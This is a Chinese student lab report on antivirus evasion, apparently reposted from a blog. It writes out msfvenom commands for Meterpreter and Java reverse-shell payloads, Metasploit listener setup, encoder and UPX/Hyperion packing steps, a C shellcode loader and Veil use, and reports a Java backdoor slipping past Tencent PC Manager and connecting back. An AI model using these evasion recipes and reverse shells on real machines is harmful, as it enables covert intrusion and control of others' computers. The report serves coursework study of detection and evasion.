2020-2 网络对抗技术 20175120 exp3 免杀原理与实践
目錄實(shí)驗(yàn)內(nèi)容通過(guò)各種方法生成后門程序,嘗試免殺1. 正確使用MSF編輯器2. 使用msfvenom生成如jar之類的其他文件3. veil4. 加殼工具5. 使用C + shellcode編程6. 使用其他課堂未介紹方法通過(guò)組合應(yīng)用各種技術(shù)實(shí)現(xiàn)惡意代碼免殺veil+msfconsole使用jar包實(shí)現(xiàn)免殺(java+metasploit)用另一電腦實(shí)測(cè),在殺軟開(kāi)啟的情況下,可運(yùn)行并回連成功,注明電腦的殺軟名稱與版本報(bào)告內(nèi)容基礎(chǔ)問(wèn)題回答實(shí)踐總結(jié)與體會(huì)開(kāi)啟殺軟能絕對(duì)防止電腦中惡意代碼嗎?
實(shí)驗(yàn)內(nèi)容
通過(guò)各種方法生成后門程序,嘗試免殺
1. 正確使用MSF編輯器
將實(shí)驗(yàn)二中生成的后門程序5120backdoor.exe放到virustotal和virscan中進(jìn)行檢測(cè)
virustotal結(jié)果如下
virscan結(jié)果如下
查殺率還是挺高的,不加處理的后門程序基本都會(huì)被查殺
接下來(lái)使用msf編輯器進(jìn)行自定義的后門生成
msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.5.250 LPORT=5120 -f exe -o home/20175120pyc/exp3/mt_rt_250.exe
-p參數(shù)表示生成的payload類型,其中包括平臺(tái)(windows)、工具(meterpreter)、連接方式(reverse_tcp)
-e參數(shù)表示編碼器類型 平臺(tái)(x86)``編碼器名(bloxor)
LHOST表示本機(jī)ip地址,LPORT表示端口號(hào)
-f參數(shù)表示生成的文件類型
-o參數(shù)表示后門文件存儲(chǔ)路徑
在我把mt_rt_250.exe放到主機(jī)的時(shí)候就被殺出來(lái)了,沒(méi)有實(shí)現(xiàn)免殺
放到'virscan'和'virustotal'里面測(cè)試一下
看起來(lái)效果不是很好
我又將payload換成windows/encrypted_shell_reverse_tcp進(jìn)行測(cè)試
效果還是差強(qiáng)人意,沒(méi)有實(shí)現(xiàn)免殺
2. 使用msfvenom生成如jar之類的其他文件
生成jar包
msfvenom -p java/shell_reverse_tcp LHOST=192.168.5.250 LPORT=5120 -o home/20175120pyc/exp3/java_sh_rt_250.jar
在我把jar包復(fù)制到主機(jī)的時(shí)候,殺軟沒(méi)有發(fā)現(xiàn)
接下來(lái)繼續(xù)測(cè)試回連
linux端打開(kāi)msfconsole,準(zhǔn)備監(jiān)聽(tīng)
輸入
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST 192.168.5.250
set LPORT 5120
exploit
windows端打開(kāi)cmd進(jìn)入放有剛剛生成后門文件的目錄
輸入java -jar java_sh_rt_250.jar
可以看到linux端接通,但又退出
我在linux端繼續(xù)輸入java -jar java_sh_rt_250.jar進(jìn)行嘗試
但顯示
連接被拒絕
我找了很半天原因,最后在殺軟安全日志里發(fā)現(xiàn)
后門文件沒(méi)有被殺出來(lái),但是回連的行為被發(fā)現(xiàn)了
關(guān)掉殺軟,試試回連
成功獲取主機(jī)shell! windows defender沒(méi)有檢測(cè)到回連行為
可以看出來(lái)java產(chǎn)生后門的方式比之前還是更為有效的
返回目錄
3. veil
veil工具用起來(lái)是很方便的,但是安裝比較難受
詳細(xì)安裝教程可以參考兩個(gè)教程 1 2
安裝完成之后輸入 veil ,顯示如下
使用veil-evasion 輸入use 1
輸入list可以看到可選的payload
我選擇20,use 20
可以看見(jiàn)我們還需要設(shè)置LHOST,其他都默認(rèn)了
設(shè)置完后輸入文件名ps_mt_rhs_250生成文件
其中ps_mt_rhs_250.bat放到主機(jī)環(huán)境下,ps_mt_rhs_250.rc用于linux端監(jiān)聽(tīng)
在我復(fù)制過(guò)去的時(shí)候,殺軟沒(méi)反應(yīng).......
輸入msfconsole -r /var/lib/veil/output/handlers/ps_mt_rhs_250.rc開(kāi)始監(jiān)聽(tīng)
在windows端雙擊ps_mt_rhs_250.bat,然后就被殺軟殺掉了(意料之中)
把ps_mt_rhs_250.bat從隔離區(qū)撈出來(lái),測(cè)試一下
效果比之前要好了一點(diǎn),但還是被火絨殺出來(lái)了
返回目錄
4. 加殼工具
加殼工具通常分為壓縮殼和加密殼兩類。
壓縮殼的特點(diǎn)是減小軟件體積大小,加密保護(hù)不是重點(diǎn)。
加密殼種類比較多,不同的殼側(cè)重點(diǎn)不同,一些殼單純保護(hù)程序,另一些殼提供額外的功能,如提供注冊(cè)機(jī)制、使用次數(shù)、時(shí)間限制等。
壓縮殼
壓縮工具我用的是upx,kali linux自帶
加殼文件我是用的下面的我是用的第一步里面的mt_rt_250.exe
upx home/20175120pyc/exp3/mt_rt_250.exe -o home/20175120pyc/exp3/mt_rt_250_upx.exe
把生成的后門搬到主機(jī)里,然后還是被干掉了,測(cè)試一下
似乎比剛才好一丟丟......
加密殼
加密工具我使用的是Hyperion
在這里出了些問(wèn)題,我參考了學(xué)姐和很多同學(xué)的博客,都是進(jìn)入Hyperion文件夾下面,直接輸入
wine hyperion.exe -v ****.exe ****_hy.exe
而我完全沒(méi)有找到這個(gè)文件夾和hyperion.exe
在我輸入這一行命令的時(shí)候會(huì)出現(xiàn)
Could not find Wine Gecko. HTML rendering will be disabled.然后就失敗了
我就想自己裝個(gè)wine gecko,之后從同學(xué)的博客中中找到了解決方法
我選擇安裝最新的Hyperion-2.2 (zip下載鏈接附上)
放到exp3文件夾下,進(jìn)行解壓 unzip Hyperion-2.2
cd Hyperion-2.2
i686-w64-mingw32-gcc Src/Crypter/*.c -o hyperion.exe(按照教程上是要編譯一下的,但好像沒(méi)什么用)
vim Makefile 修改原來(lái)的編譯方式cc=gcc為cc=i686-x64-mingw32-gcc 如下圖第一行
保存退出之后就在當(dāng)前文件夾下輸入 make進(jìn)行編譯
輸入ls 可以看到生成了hyperion.exe文件
然后就可以進(jìn)行加密殼的加殼了!
我使用的文件還是第一個(gè)生成的后門mt_rt_250.exe,對(duì)比一下效果
把mt_rt_250.exe復(fù)制到Hyperion-2.2文件夾下,輸入
wine hyperion.exe -v mt_rt_250.exe mt_rt_250_hy.exe
然后把 mt_rt_250_hy.exe 復(fù)制到主機(jī) .....被干掉了,測(cè)試一下
看起來(lái)加密殼效果比壓縮殼好一些......
我又用之前加了壓縮殼的mt_rt_250_upx.exe做了加密殼處理生成了mt_rt_250_upx_hy.exe
放到主機(jī)來(lái)的時(shí)候還是被防火墻干掉了......測(cè)試一下
效果和加密殼差不多
返回目錄
5. 使用C + shellcode編程
使用msfvenom將后門編譯成c
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.5.250 lport=5120 -f c
生成c數(shù)組形式的shell,寫(xiě)入.c文件
#include <stdlib.h>
#include <stdio.h>
unsigned char buf[] = "";
int main(){
int (*func)() = (int(*)())buf;
func();
}
這里有兩種方法可以對(duì)文件進(jìn)行編譯
將shellcode放到主機(jī)的codeblocks進(jìn)行編譯
編譯之后......
直接被干掉
在linux下進(jìn)行編譯
i686-w64-mingw32-g++ win_sh_rt_250.c -o win_sh_rt_250.exe
將win_sh_rt_250.exe搬到主機(jī)去,直接被殺軟殺掉........
在exploit-db里面找shellcode
返回目錄
6. 使用其他課堂未介紹方法
用新版msf自帶的evasion進(jìn)行免殺后門生成
首先輸入msfconsole進(jìn)入msf控制臺(tái)
然后查看evasion的相關(guān)信息 show evasion
我選擇windows/windows_defender_exe進(jìn)行測(cè)試
use windows/windows_defender_exe
看看需要設(shè)置什么參數(shù) show options
set payload windows/meterpreter/reverse_tcp設(shè)置payload
設(shè)置ip和端口號(hào)
exploit 生成后門文件
把后門文件復(fù)制到主機(jī)......然后被殺軟殺掉了,測(cè)試一下
看起來(lái)效果不錯(cuò),看一下后門的行為分析
同樣是打開(kāi)主機(jī)cmd.exe,殺軟是通過(guò)后門GetTickCount和direct-cpu-clock訪問(wèn)的行為特征發(fā)現(xiàn)的
通過(guò)組合應(yīng)用各種技術(shù)實(shí)現(xiàn)惡意代碼免殺
veil+msfconsole
我想用veil+msfconsole實(shí)現(xiàn)免殺與回連
然后我一個(gè)一個(gè)的試:autoit、auxiliary、c、cs、go、powershell、Python、ruby
auxiliary模塊的參數(shù)需要輸入文件路徑,但我沒(méi)整明白......
其中Python模塊的總是出問(wèn)題,我之前沒(méi)學(xué)過(guò)python,veil生成了runme.bat和setup.py文件
我裝好了python環(huán)境和python IDE工具pyCharm
經(jīng)過(guò)一番查找和詢問(wèn)同學(xué),我輸入python setup.py,然后出現(xiàn)
又是一番嘗試,我用pyCharm工具將py2exe模塊加進(jìn)去了,然后輸入python setup.py py2exe,出現(xiàn)
打開(kāi)kali端監(jiān)聽(tīng):msfconsole -r *********/**.rc
在主機(jī)端雙擊runme.bat,然后沒(méi)反應(yīng)......然后就不知道怎么辦了,Python模塊就放棄了
使用jar包實(shí)現(xiàn)免殺(java+metasploit)
我使用msfvenom工具進(jìn)行生成,在java環(huán)境的支持下,使用:
msfvenom -p java/shell/reverse_tcp lhost=192.168.5.250 lport=5120 -o java_shrt_250.jar生成jar包
移植到主機(jī)上,經(jīng)檢測(cè),實(shí)現(xiàn)免殺
用另一電腦實(shí)測(cè),在殺軟開(kāi)啟的情況下,可運(yùn)行并回連成功,注明電腦的殺軟名稱與版本
電腦殺軟名稱為騰訊電腦管家,電腦版本為windows10
因?yàn)橹笆褂胘ar包實(shí)現(xiàn)免殺,我就嘗試回連
同樣使用msfconsole工具進(jìn)行監(jiān)聽(tīng)
回連成功!
返回目錄
報(bào)告內(nèi)容
基礎(chǔ)問(wèn)題回答
殺軟是如何檢測(cè)出惡意代碼的?
根據(jù)惡意代碼的特征碼進(jìn)行檢測(cè)
特征碼就是一段或多段數(shù)據(jù)。進(jìn)行惡意軟件的檢測(cè)時(shí),殺軟并不是比對(duì)整個(gè)文件,而只能只其中一個(gè)或幾個(gè)片斷作為識(shí)別依據(jù)。AV軟件廠商要做的就是盡量搜集最全的、最新的特征碼庫(kù)。
啟發(fā)式惡意軟件檢測(cè)
即根據(jù)些片面特征去推斷。如果一個(gè)軟件在干通常是惡意軟件干的事,看起來(lái)了像個(gè)惡意軟件,那我們就把它當(dāng)成一個(gè)惡意軟件。
基于行為的惡意軟件檢測(cè)
基于行為的檢測(cè)相當(dāng)于是啟發(fā)式的一種,或者是加入了行為監(jiān)控的啟發(fā)式
免殺是做什么?
對(duì)惡意軟件做一些處理,使其在能夠起作用的同時(shí)不被殺毒軟件殺出來(lái)
免殺的基本方法有哪些?
改變特征碼
如果你手里只有EXE:加殼:壓縮殼 加密殼
有shellcode(像Meterpreter):用encode進(jìn)行編碼、基于payload重新編譯生成可執(zhí)行文件
有源代碼:用其他語(yǔ)言進(jìn)行重寫(xiě)再編譯(veil-evasion)
改變行為
通訊方式:盡量使用反彈式連接、使用隧道技術(shù)、加密通訊數(shù)據(jù)
操作模式:基于內(nèi)存操作、減少對(duì)系統(tǒng)的修改、加入混淆作用的正常功能代碼
非常規(guī)手段
使用一個(gè)有漏洞的應(yīng)用當(dāng)成后門,編寫(xiě)攻擊代碼集成到如MSF中。
使用社工類攻擊,誘騙目標(biāo)關(guān)閉AV軟件。
純手工打造一個(gè)惡意軟件
返回目錄
實(shí)踐總結(jié)與體會(huì)
這次實(shí)驗(yàn)難度較大,我花費(fèi)了很多時(shí)間,從工具的安裝、嘗試的次數(shù)、安裝的平臺(tái)環(huán)境數(shù)等方面都遠(yuǎn)遠(yuǎn)比前兩個(gè)實(shí)驗(yàn)要復(fù)雜。但實(shí)現(xiàn)免殺卻讓我的興趣有了很大的提升,因?yàn)檫@是用最貼近生活的方式讓我感受到了網(wǎng)絡(luò)病毒的威力。只要有一個(gè)能夠繞過(guò)殺軟的病毒,我的電腦里就必定存在后門。而后門的危害我在第二次實(shí)驗(yàn)中也實(shí)實(shí)在在的體驗(yàn)過(guò)了,網(wǎng)絡(luò)安全真的是現(xiàn)實(shí)中不可或缺的一環(huán)。
在實(shí)驗(yàn)操作中,我遇到了很多困難,安裝veil,我從開(kāi)始安裝到最終成功幾乎用了三天時(shí)間;不斷用各種工具生成后門的過(guò)程中,很多文件不能編譯成exe格式,就必須安裝文件能夠運(yùn)行的環(huán)境等等....好在問(wèn)題還是一個(gè)個(gè)的迎刃而解了。但是免殺的實(shí)現(xiàn)我還有很長(zhǎng)的路要走,這次的實(shí)驗(yàn)中我想使用exploit-db中的shellcode來(lái)生成后門,但是嘗試了很多個(gè),用msfconsole監(jiān)聽(tīng)的時(shí)候都沒(méi)有反應(yīng),我也看不出來(lái)這段shellcode應(yīng)該怎么樣具體進(jìn)行操作,但我覺(jué)得如果exploit-db最新的shellcode用上了免殺應(yīng)該會(huì)簡(jiǎn)單很多。
這次實(shí)驗(yàn)顯著的提高了我的網(wǎng)絡(luò)安全防范意識(shí)和對(duì)于網(wǎng)絡(luò)滲透的興趣,在之后的學(xué)習(xí)中,我會(huì)繼續(xù)努力。
開(kāi)啟殺軟能絕對(duì)防止電腦中惡意代碼嗎?
不能。因?yàn)楝F(xiàn)在很多的后門能夠?qū)崿F(xiàn)免殺,繞過(guò)殺軟進(jìn)行攻擊。
總結(jié)
以上是生活随笔為你收集整理的2020-2 网络对抗技术 20175120 exp3 免杀原理与实践的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 三灯布光法
- 下一篇: 光大中青旅信用卡好吗?值得申请吗?